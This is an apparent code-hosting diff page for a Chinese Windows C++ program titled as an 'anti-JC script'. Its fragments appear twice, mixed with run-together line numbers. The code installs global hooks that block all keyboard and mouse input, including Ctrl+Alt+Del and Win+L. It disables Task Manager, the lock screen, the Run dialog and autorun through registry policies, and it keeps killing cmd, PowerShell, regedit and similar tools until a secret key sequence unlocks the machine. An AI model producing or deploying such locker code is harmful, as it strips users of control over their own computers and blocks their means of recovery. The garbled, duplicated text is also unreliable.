版本比较
防 JC 脚本
正文
增加 91 行删除 91 行
49 行未改动50515253545556575815 行未改动74757677787980818283848586878889909192939410 行未改动10510610710810911011111211311411511611711811912012112212312412512620 行未改动1471481491501511521531541552 行未改动1581591601611621631641651663 行未改动1701711721731741751761771785 行未改动1841851861871881891901911921931941951961971981992002012022032042052062072087 行未改动2162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423432 行未改动3463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913929 行未改动40240340440540640740840941014 行未改动42542642742842943043143243343443522 行未改动4584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924 行未改动49749849950050150250350450550650750850951051151216 行未改动52953053153253353453553653753853954054154254354454554654754849 行未改动static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0);static long long lastCheckTime = getCurrentTime();long long currentTime = getCurrentTime();// Timeout reset all sequencesif (currentTime - lastCheckTime > 60000) // 60 second timeoutfor (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0;lastCheckTime = currentTime;15 行未改动bool checkContinuousSequence(DWORD vkCode) {static std::vector <DWORD> inputBuffer;static long long lastInputTime = getCurrentTime();long long currentTime = getCurrentTime();// Reset buffer if more than 10 seconds between key pressesif (currentTime - lastInputTime > 10000) inputBuffer.clear();lastInputTime = currentTime;// Add current key to bufferinputBuffer.push_back(vkCode);// Keep buffer size reasonableif (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin());// Check if buffer contains any of the unlock combinationsfor (const auto& combination : unlockCombinations) {if (inputBuffer.size() >= combination.size()) {for (size_t i = 0;i <= inputBuffer.size() - combination.size();i++) {10 行未改动}}}}return false;}// Check secret sequencebool checkSecretSequence(DWORD vkCode) {long long currentTime = getCurrentTime();// Reset sequence if no key pressed for 2 secondsif (currentTime - lastKeyTime > 2000) {sequencePosition = 0;sequenceActive = false;}lastKeyTime = currentTime;if (!sequenceActive) {// Check if sequence starts (first key)20 行未改动sequencePosition = 0;sequenceActive = false;}}return false;}// Keyboard hook, monitor all keys2 行未改动KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;// Check various unlock conditionsif (checkUnlockCombination(vkCode) ||checkSecretSequence(vkCode) ||checkContinuousSequence(vkCode)) {disableInput = false;shutdownFlag = true;3 行未改动// Block all keyboard inputif (disableInput) {// Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc.if (vkCode == VK_ESCAPE || vkCode == VK_TAB ||vkCode == VK_LWIN || vkCode == VK_RWIN ||vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop)vkCode == VK_F4 || // Block F4 key (part of Alt+F4)(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del5 行未改动}return 1; // Block all other keyboard input}}// Also block Alt+F4 when Alt key is pressed and F4 is releasedif (nCode >= 0 && wParam == WM_KEYUP) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down}return CallNextHookEx(NULL, nCode, wParam, lParam);}// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {if (disableInput) {// 扩展鼠标操作禁用范围if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL ||wParam == WM_LBUTTONUP || // 移除重复的 WM_MOUSEWHEELwParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP ||wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK ||7 行未改动void DisableSecurityOptions() {HKEY hKey;DWORD value = 1;// Disable Task Managerif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Lock Workstationif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Run dialogif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用U盘自动运行功能 - 通过修改注册表HKEY hKeyAutoRun;DWORD disableValue = 0xFF; // 禁用所有驱动器的自动运行// 方法1: 通过Explorer键值禁用if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}// 方法2: 通过MountPoints2权限控制彻底禁用:cite[1]:cite[5]HKEY hKeyMountPoints;if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKeyMountPoints) == ERROR_SUCCESS) {// 设置权限拒绝所有用户访问(需要更复杂的ACL操作,这里简化实现)// 实际应用中可能需要使用SetSecurityInfo或SetNamedSecurityInfo函数// 这里通过设置特殊值来模拟权限限制DWORD denyAccess = 1;RegSetValueEx(hKeyMountPoints, "DisableAutoRun", 0, REG_DWORD,(const BYTE*)&denyAccess, sizeof(denyAccess));RegCloseKey(hKeyMountPoints);}// 方法3: 禁用所有驱动器的自动运行(更彻底的方法)if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}}void EnableSecurityOptions() {HKEY hKey;// 恢复 HKEY_CURRENT_USER 下的系统策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableTaskMgr");RegDeleteValue(hKey, "DisableLockWorkstation");RegCloseKey(hKey);}// 恢复 Explorer 策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行相关设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 强制刷新注册表更改SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Policy", SMTO_BLOCK, 1000, NULL);SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Windows", SMTO_BLOCK, 1000, NULL);// 恢复命令行功能UnblockCommandPrompts();// 恢复U盘自动运行设置// 删除Explorer中的自动运行限制if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}// 恢复MountPoints2的设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableAutoRun");RegCloseKey(hKey);}// 删除本地机器中的自动运行限制if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}2 行未改动// 阻止命令行程序通过注册表void BlockCommandPrompts() {HKEY hKey;DWORD value = 1;if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}}void UnblockCommandPrompts() {HKEY hKey;// 恢复运行功能if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShell 禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 恢复 AppCompatFlags 设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe");RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");RegCloseKey(hKey);9 行未改动// 获取当前进程ID和父进程IDDWORD currentProcessId = GetCurrentProcessId();DWORD parentProcessId = 0;// 使用简单的方法获取父进程IDHANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId);if (hCurrentProcess) {// 使用 Process32First/Next 来查找当前进程的父进程ID14 行未改动bool found = false;do {if (_stricmp(pe.szExeFile, processName.c_str()) == 0) {// 跳过系统关键进程、当前进程和父进程if (pe.th32ProcessID == currentProcessId ||pe.th32ProcessID == parentProcessId ||pe.th32ProcessID == 0 ||pe.th32ProcessID == 4) { // System and Idle processescontinue;}22 行未改动TerminateTaskManager();// Check and terminate command prompts if runningconst char* blockedProcesses[] = {"cmd.exe","powershell.exe","pwsh.exe","conhost.exe","wscript.exe","cscript.exe","bash.exe", // WSL"wsl.exe", // WSL"regedit.exe","msconfig.exe","mmc.exe",NULL};for (int i = 0;blockedProcesses[i] != NULL && !shutdownFlag;i++) TerminateProcessByName(blockedProcesses[i]);}std::this_thread::sleep_for(std::chrono::milliseconds(500));}}bool IsRunningAsAdmin() {BOOL isAdmin = FALSE;PSID adminGroup = NULL;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) isAdmin = FALSE;FreeSid(adminGroup);}4 行未改动if (!IsRunningAsAdmin()) {MessageBox(NULL, "Please run this program as administrator", "Permission Error", MB_ICONERROR | MB_OK);return 1;}// Set signal handler to ignore Ctrl+Csignal(SIGINT, sigint_handler);// Install hooksHHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);if (keyboardHook == NULL || mouseHook == NULL) {std::cerr << "Failed to install hooks!" << std::endl;return 1;}16 行未改动}// Cleanup - 确保正确的顺序shutdownFlag = true;// 等待监控线程退出if (monitorThread.joinable()) monitorThread.join();// 恢复系统设置EnableSecurityOptions();// 卸载钩子UnhookWindowsHookEx(keyboardHook);UnhookWindowsHookEx(mouseHook);// 确保系统有足够时间恢复std::this_thread::sleep_for(std::chrono::seconds(1));return 0;}```49 行未改动50515253545556575815 行未改动74757677787980818283848586878889909192939410 行未改动10510610710810911011111211311411511611711811912012112212312412512620 行未改动1471481491501511521531541552 行未改动1581591601611621631641651663 行未改动1701711721731741751761771785 行未改动1841851861871881891901911921931941951961971981992002012022032042052062072087 行未改动2162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423432 行未改动3463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913929 行未改动40240340440540640740840941014 行未改动42542642742842943043143243343443522 行未改动4584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924 行未改动49749849950050150250350450550650750850951051151216 行未改动52953053153253353453553653753853954054154254354454554654754849 行未改动static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0);static long long lastCheckTime = getCurrentTime();long long currentTime = getCurrentTime();// Timeout reset all sequencesif (currentTime - lastCheckTime > 60000) // 60 second timeoutfor (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0;lastCheckTime = currentTime;15 行未改动bool checkContinuousSequence(DWORD vkCode) {static std::vector <DWORD> inputBuffer;static long long lastInputTime = getCurrentTime();long long currentTime = getCurrentTime();// Reset buffer if more than 10 seconds between key pressesif (currentTime - lastInputTime > 10000) inputBuffer.clear();lastInputTime = currentTime;// Add current key to bufferinputBuffer.push_back(vkCode);// Keep buffer size reasonableif (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin());// Check if buffer contains any of the unlock combinationsfor (const auto& combination : unlockCombinations) {if (inputBuffer.size() >= combination.size()) {for (size_t i = 0;i <= inputBuffer.size() - combination.size();i++) {10 行未改动}}}}return false;}// Check secret sequencebool checkSecretSequence(DWORD vkCode) {long long currentTime = getCurrentTime();// Reset sequence if no key pressed for 2 secondsif (currentTime - lastKeyTime > 2000) {sequencePosition = 0;sequenceActive = false;}lastKeyTime = currentTime;if (!sequenceActive) {// Check if sequence starts (first key)20 行未改动sequencePosition = 0;sequenceActive = false;}}return false;}// Keyboard hook, monitor all keys2 行未改动KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;// Check various unlock conditionsif (checkUnlockCombination(vkCode) ||checkSecretSequence(vkCode) ||checkContinuousSequence(vkCode)) {disableInput = false;shutdownFlag = true;3 行未改动// Block all keyboard inputif (disableInput) {// Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc.if (vkCode == VK_ESCAPE || vkCode == VK_TAB ||vkCode == VK_LWIN || vkCode == VK_RWIN ||vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop)vkCode == VK_F4 || // Block F4 key (part of Alt+F4)(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del5 行未改动}return 1; // Block all other keyboard input}}// Also block Alt+F4 when Alt key is pressed and F4 is releasedif (nCode >= 0 && wParam == WM_KEYUP) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down}return CallNextHookEx(NULL, nCode, wParam, lParam);}// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {if (disableInput) {// 扩展鼠标操作禁用范围if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL ||wParam == WM_LBUTTONUP || // 移除重复的 WM_MOUSEWHEELwParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP ||wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK ||7 行未改动void DisableSecurityOptions() {HKEY hKey;DWORD value = 1;// Disable Task Managerif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Lock Workstationif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Run dialogif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用U盘自动运行功能 - 通过修改注册表HKEY hKeyAutoRun;DWORD disableValue = 0xFF; // 禁用所有驱动器的自动运行// 方法1: 通过Explorer键值禁用if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}// 方法2: 通过MountPoints2权限控制彻底禁用:cite[1]:cite[5]HKEY hKeyMountPoints;if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKeyMountPoints) == ERROR_SUCCESS) {// 设置权限拒绝所有用户访问(需要更复杂的ACL操作,这里简化实现)// 实际应用中可能需要使用SetSecurityInfo或SetNamedSecurityInfo函数// 这里通过设置特殊值来模拟权限限制DWORD denyAccess = 1;RegSetValueEx(hKeyMountPoints, "DisableAutoRun", 0, REG_DWORD,(const BYTE*)&denyAccess, sizeof(denyAccess));RegCloseKey(hKeyMountPoints);}// 方法3: 禁用所有驱动器的自动运行(更彻底的方法)if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}}void EnableSecurityOptions() {HKEY hKey;// 恢复 HKEY_CURRENT_USER 下的系统策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableTaskMgr");RegDeleteValue(hKey, "DisableLockWorkstation");RegCloseKey(hKey);}// 恢复 Explorer 策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行相关设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 强制刷新注册表更改SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Policy", SMTO_BLOCK, 1000, NULL);SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Windows", SMTO_BLOCK, 1000, NULL);// 恢复命令行功能UnblockCommandPrompts();// 恢复U盘自动运行设置// 删除Explorer中的自动运行限制if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}// 恢复MountPoints2的设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableAutoRun");RegCloseKey(hKey);}// 删除本地机器中的自动运行限制if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}2 行未改动// 阻止命令行程序通过注册表void BlockCommandPrompts() {HKEY hKey;DWORD value = 1;if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}}void UnblockCommandPrompts() {HKEY hKey;// 恢复运行功能if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShell 禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 恢复 AppCompatFlags 设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe");RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");RegCloseKey(hKey);9 行未改动// 获取当前进程ID和父进程IDDWORD currentProcessId = GetCurrentProcessId();DWORD parentProcessId = 0;// 使用简单的方法获取父进程IDHANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId);if (hCurrentProcess) {// 使用 Process32First/Next 来查找当前进程的父进程ID14 行未改动bool found = false;do {if (_stricmp(pe.szExeFile, processName.c_str()) == 0) {// 跳过系统关键进程、当前进程和父进程if (pe.th32ProcessID == currentProcessId ||pe.th32ProcessID == parentProcessId ||pe.th32ProcessID == 0 ||pe.th32ProcessID == 4) { // System and Idle processescontinue;}22 行未改动TerminateTaskManager();// Check and terminate command prompts if runningconst char* blockedProcesses[] = {"cmd.exe","powershell.exe","pwsh.exe","conhost.exe","wscript.exe","cscript.exe","bash.exe", // WSL"wsl.exe", // WSL"regedit.exe","msconfig.exe","mmc.exe",NULL};for (int i = 0;blockedProcesses[i] != NULL && !shutdownFlag;i++) TerminateProcessByName(blockedProcesses[i]);}std::this_thread::sleep_for(std::chrono::milliseconds(500));}}bool IsRunningAsAdmin() {BOOL isAdmin = FALSE;PSID adminGroup = NULL;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) isAdmin = FALSE;FreeSid(adminGroup);}4 行未改动if (!IsRunningAsAdmin()) {MessageBox(NULL, "Please run this program as administrator", "Permission Error", MB_ICONERROR | MB_OK);return 1;}// Set signal handler to ignore Ctrl+Csignal(SIGINT, sigint_handler);// Install hooksHHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);if (keyboardHook == NULL || mouseHook == NULL) {std::cerr << "Failed to install hooks!" << std::endl;return 1;}16 行未改动}// Cleanup - 确保正确的顺序shutdownFlag = true;// 等待监控线程退出if (monitorThread.joinable()) monitorThread.join();// 恢复系统设置EnableSecurityOptions();// 卸载钩子UnhookWindowsHookEx(keyboardHook);UnhookWindowsHookEx(mouseHook);// 确保系统有足够时间恢复std::this_thread::sleep_for(std::chrono::seconds(1));return 0;}```